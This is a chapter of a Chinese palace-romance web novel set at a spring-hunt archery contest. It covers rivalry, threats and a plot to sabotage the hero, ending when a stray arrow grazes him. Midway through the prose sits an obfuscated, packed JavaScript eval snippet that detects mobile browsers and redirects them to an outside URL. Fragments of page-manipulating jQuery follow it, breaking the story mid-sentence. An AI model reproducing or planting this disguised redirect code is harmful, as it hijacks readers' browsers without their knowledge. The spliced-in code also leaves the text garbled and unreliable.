35.冷箭

作品:《重生后嫁给女装大佬

    射御大赛向来便是春猎之时最受瞩目的环节,今日忽有传言,皇太子萧帙亦会下场参赛,更是将现场气氛推到了最顶点。


    俟斤玉奴选择言语挑衅、试图激怒宋俭时,恰逢萧帙整装待发。


    俗话说得好,人靠衣装。萧帙出生时,适逢女帝执政,肆意打压迫害萧齐皇族。那时刚出生皇子们都被强行送进宫中,由陆仲儿统一安排教养。萧帙的母亲担心孩儿有去无回,几乎哭瞎双眼。好容易能接回来了,却已叫养得蔫头呆脑。


    人人都道陆仲儿是有意为之。


    她身为祖母,不愿背上杀伤孙儿的恶名,遂以此手段自精神上扼杀他们,令其成为废人。


    广孝帝登基后,萧帙贵为皇太子,却始终无法从那些年的阴影中走出。平日里总是一副日头没晒够的苍白萎靡,每每叫他皇父见了,都是一脸嫌恶。


    如今换上骑装,脸上有了气色,也显出几分飒爽来。


    王皇后见了赞道:“到底是天潢贵胄,这周身的气度,终究与旁人不同。”


    广孝帝从鼻子里哼出来:“不知自己几斤几两便贸然下场。不要丢了朕的脸面才是!”


    卢太后也跟着劝:“皇儿莫要过于苛责孩儿。老身反而觉着,太子此举方有储君风范。深宫里如何养得出雄鹰?太子将来总要继承大统,自该及早走出宝殿,礼贤下士,方为正经。至于输赢,那是民家才会看重之事。帙儿出身皇家已是赢了!区区一场射御,便是输了,又有何干系?今日赢他之人,来日都会为他所用,才是正道!”


    王皇后闻言眼神微闪,点头称是。


    广孝帝面色愈发阴郁。


    目光紧盯高台之下,太子策马小跑热身的身影。


    田守敏锐察觉到君主不悦,冲左右侍立的宦官宫女们使眼色,叮嘱他们小心服侍。


    一片难耐的压抑中,忽而响起个尖锐女声,撕破凝滞死寂。


    萧玉华腾地起身,既惊且怒。


    “他在做什么……?他如何敢!!!”


    ……


    萧帙身骑大宛神驹,自觉鲜衣怒马,倜傥过人,那崔家小娘子目光似是追随己身。正得意间,却见场中骚动,众人目光都叫吸引开来。


    他也恼怒地看过去。


    只见他那位同父异母的好妹妹,萧玉华新宠的面首,叫什么宋玉奴的,鬓发凌乱,阴鸷凶狠地怒视几丈之外的宋俭。


    他身后平行线上的靶子之上,一枚羽箭深深钉入靶心,箭翎微颤,靶心之中,粉色梅瓣簌簌而落。


    宋俭慢条斯理,一手持弓,一手再去摸箭囊里的羽箭。


    若非怕坏了大事,俟斤玉奴心想,他定要割破这人的喉咙!


    先前他挑衅说完那段话后,那宋俭瞧着神色不变,似乎并未放在心上,他便想着溧阳公主所言非虚。他与那崔家的小美人果然无情,否则为何成婚至今,小美人仍未□□,只能夜夜独守空房?


    可见他真不是个男人!


    没准有着龙阳之好也说不定!


    他们中原男子,由古至今便好这一口儿。


    他最好永远也别碰那小美人!


    宋玉奴贪婪地想,待他杀了宋俭,报了血仇,那千娇百媚的小美人便能以完璧之身,归他所有!


    他紧紧盯着宋俭。一刻也不放松。


    然而后者并未动作。


    冷淡睨他一眼,掉头便走。


    宋玉奴不动声色地舒了口气。


    继而冷笑。


    ——孬种。


    两个字方浮上心头,只见拉开距离的宋俭猛地掉转马头,抽箭张弓,直奔他面门而来!


    回身、抽箭、发射,兔起鹘落之间一气呵成!


    羽箭如白虹贯日,势如破竹,宋玉奴瞳孔骤缩,已是无法躲避!


    只能眼睁睁看着那羽箭呼啸而来,大有劈山灭海之意,倒映于他的瞳孔中,越来越近,越来越大——


    自他的髻边狠狠擦过!


    一阵枝摇花落的动静后,羽箭铮一声,连着他簪在髻边的垂枝梅一同狠狠钉在靶心中!


    惊骇之下,他甚至忘了动弹。


    冷汗自颊边滑落。


    与之一同掉落的,还有鬓边为箭风刮断的细末发丝。


    全场哗然!


    此起彼伏的惊叫声中,宋俭又抽出一支箭,横在手中,气定神闲目视对方。


    用在场之人都能听见的声量,朗然开口。


    “今日风大,俭学艺不精,微末技艺,恐失了准头,先与阁下练习一二。”


    他语气谦和,眼神却寒冷如冰,


    “稍后正式开赛,阁下也当小心才是。否则,若俭之箭不慎偏上寸许,只怕枉送了阁下性命。”


    ……


    在场之人几乎都听到了宋俭说的话。


    其中杀意与威胁,昭然若揭。


    裴妙丽自人群中溜滑钻出,来到崔妙璩面前,拍了拍神不守舍的女郎。


    “你这夫君也太狠了!都不知道那人怎么得罪了他,一出手竟是奔着夺人性命去的!”


    裴妙丽夸张地大口呼吸,“我还以为这京中最狠的是我那亲哥,真是没想到,人外有人啊!”


    她那同样发狠不要命的亲哥裴长随,眼下怕只能屈居第二了。


    不愧是龙颜大怒时还敢铁头撞墙,冒死请婚的宋使君。


    裴妙丽咋舌。


    见对方没有回应,以为她是被自家夫君真面目给吓傻了。裴妙丽伸手去推崔妙璩,满口安慰:“合该劝劝你夫君。我听说那可是溧阳公主近来新宠,莫做得太过分了……”


    话音未落,就叫回过神来的崔妙璩怒气冲冲打断。


    “是做得太过分了!”


    怎不干脆一箭射死那混蛋了事!


    崔妙璩自差没气得背过身。


    射朵花算什么英雄好汉!


    花会害人吗?!会烧杀劫掠,无恶不作吗?!


    都下手了,索性便下死手,会放狠话算什么?算他会装X吗?!


    崔妙璩痛心疾首,恨不得也朝他射上一箭!


    宋俭自觉为夫人出了气,嘴角用力压住,转头去寻人,却见到对方一脸怒容。眼风刀子似的直往他身上飞。


    从未见过她这般神情的宋俭一愣。


    如何反倒生气了?


    嫌他太过凶狠?


    而萧帙这头,万众瞩目下了场,却风头尽失。心爱的小娘子与她夫君众目睽睽之下旁若无人地眉目传情,缠绵悱恻,当即气炸了肺。


    他方寸大乱,再加上确实技不如人,比试开始后,全靠同场儿郎有心相让,放水放成洛川大河,方令他堪堪擦着线,进了三强。


    也是这些年来,成绩最差的三强之一。


    前两位不出意料,为宋俭与俟斤玉奴。


    前者以不算明显的优势暂时领先。


    而他面上却没有多高兴的样子,反倒显出三分心不在焉五分心烦意乱,仿佛正被什么要紧的场外事给困囿着,只想速战速决。


    而俟斤玉奴开场前挨了箭锋,颜面扫地,比试起来不免心浮气躁,准头也大不如前。


    看得台上的萧玉华与卢太后连连蹙眉。


    俟斤玉奴也感受到了压力。


    可几轮下来,成绩已是板上钉钉,无法更改。


    若想如预计那般一举夺魁,成名天下,只能另想点别的法子。


    最后一轮比试前,趁着小憩时间更换箭靶,俟斤玉奴去寻了萧帙。


    对方面色恢复苍白,萎靡不堪地缩在场边,早已没有初初下场时的意气风发。


    萧帙原想在崔妙璩面前显显身手、出出风头,才贸然下场的。


    君子六艺,他因着被陆逆教养,开蒙偏晚,开始学骑射已经是十岁以后之事。而他天性也不擅长于此,更好读书习字。可到底皇父为他延请的都是最好的教习师傅。


    名师出高徒。


    萧帙想。


    我只是骑射天资不如读书罢了,不代表我就做得不好。


    也不代表宋俭那厮就能胜过他!


    他不过就是战场上杀过几个敌,赢了几场仗,换作他萧帙,未必不能做得更好!


    可他偏偏就没有那人做得好。


    萧帙不曾见过宋俭率军打仗。他想,不过是史记杂书中所写,运筹帷幄帐中,决战千里之外。大齐国力鼎盛如此,对方自当不攻自破。宋俭一微末将军,如何能成决胜关键?!


    可纵然如他,也看出宋俭今日心不在焉,比赛留力——


    却已是他难以企及!


    仿佛能感受到高台之上皇父鄙夷失落的目光。


    风中似乎也飘荡着萧玉华肆无忌惮的笑声。


    ——你终究是比不过宋俭的。


    萧玉华定是如此轻蔑!


    崔小娘子呢?


    那令他魂牵梦萦的崔小娘子,又是如何看待他的莽撞与失败?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861628|155072||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    也会轻视他吗?


    萧帙心下似乎有条毒蛇盘曲蜿蜒,朝他嘶嘶吐着信子,喷出毒液。


    他心中的毒蛇,很快等到了同伴。


    俟斤玉奴身为萧玉华的人,找到他时,他还以为对方是要明着动手,正惶恐间,却见他谦卑揖礼,献上计策。


    俟斤玉奴的想法很简单,让宋俭夺不了魁。


    左右太子也只能屈居第三,纵然头两名有心相让,也绝让不出个首名来。


    不如他二人通力合作,令宋俭折戟。


    如此俟斤玉奴可反超为第一,杀杀此人威风;太子呢,亦能见到情敌当众丢人,大出一口心中恶气。


    俟斤玉奴说:“不会令太子您难做。您只需如常射箭,我自有法子,令那箭偏上些许。”


    萧帙蠢蠢欲动。


    却还是有些不放心。


    他反复确认,“当真没有风险?当真不会暴露孤?”


    得到肯定的答复后,终场比试的鼓声适时响起,他与俟斤玉奴只能扮作无事地回到赛场。


    擦身而过时,那面首仍是一副毕恭毕敬的模样,用只有两人听见的语气低声道。


    “您看,崔家的小娘子,也在看着您呐。”


    他轻笑,“全仰仗太子您了。”


    ……


    萧帙被风头彻底为宋俭压过的羞耻冲昏了头。


    他甚至忽略了,面前这个初出茅庐的公主府亲卫,为何竟能知道他对崔小娘子的心思,并精准拿捏。


    他满心只想令宋俭丢脸。


    最好丢得比他要大得多。


    让所有人都能肆无忌惮嘲笑他。


    尤其是崔小娘子——


    她原就对他无情!不过是无法挣脱罢了!


    萧帙策马持弓,依照俟斤玉奴先前献策,来到宋俭身后不远处。


    神色依旧犹疑不定。


    俟斤玉奴见了,微微一笑。


    而后朝他一拱手,语气尊敬:“今日宋某能与太子同台竞技,已是无上荣光。胜负输赢不过过眼云烟。最后一轮,但请太子为先,宋某垫后。”


    他望向宋俭,“宋使君以为如何?”


    射御决赛,皆是按成绩调整顺序。成绩越好,排名越前。


    决赛的排位既是宋俭第一,俟斤玉奴第二,萧帙末位。


    宋俭脑子都是先前崔妙璩恼怒的目光。


    此刻只想速战速决,输赢如何,他根本无所谓。


    当即推脱道:“阁下赤胆忠心,俭自愧不如。这把便不相让,比完便算。”


    ——宋俭不给他面子。


    萧帙心想。


    不光不愿将崔小娘子相让,连个名位都不肯相让!


    他急着比完赛,是赶着去见什么人吗?


    崔小娘子?


    急着拿到头名,好谋她欢心,求她青眼?


    萧帙心里的毒蛇抬起头来——


    他偏不叫他如愿!


    ……


    最后一轮比试正式开始。


    宋俭策马持弓,静静观察风向。


    大齐的射御比得是马上箭术,对于常年征战的他而言不过手到擒来。


    他没尽全力。


    毕竟太子下了场,赢得太多,怕他与广孝帝都面上无光。


    想必妙璩也不愿他做得太过了。


    宋俭抽出羽箭,搭弓扣弦。


    揣摩了半日,他终于想明白。先时她以那般眼神谴责自己,未必是怪他心狠手辣放冷箭。


    而是嫌他太明目张胆,留下话柄。


    他家那位小娘子,绝非什么心慈手软的善男信女。痛下杀手时可从未犹疑,与他恰好天生一对。


    许是因着女子身份,掣肘过多,行事不免遮遮掩掩、藏头露尾。


    这点倒与他有些差异。


    宋俭瞄准远处靶心。嘴角无声上扬。


    大不了他再迁就于她。


    马嘶乍起,箭簇呼啸而出——


    宋俭听到风中箭矢破空袭来的凛冽之声,不由警惕。


    他尚未放箭,这箭声从何而来?!


    不及多想,弓箭未放,他便凭借本能单腿勾住马腹,身子向一侧倒去——


    电光火石间,只听见一片仓皇惊叫声中,有什么冰凉锋利的东西掠过他的右臂,带来一阵敏锐刺痛。


    那东西擦过他身侧,死死钉入不远处的地面上。


    是一支箭。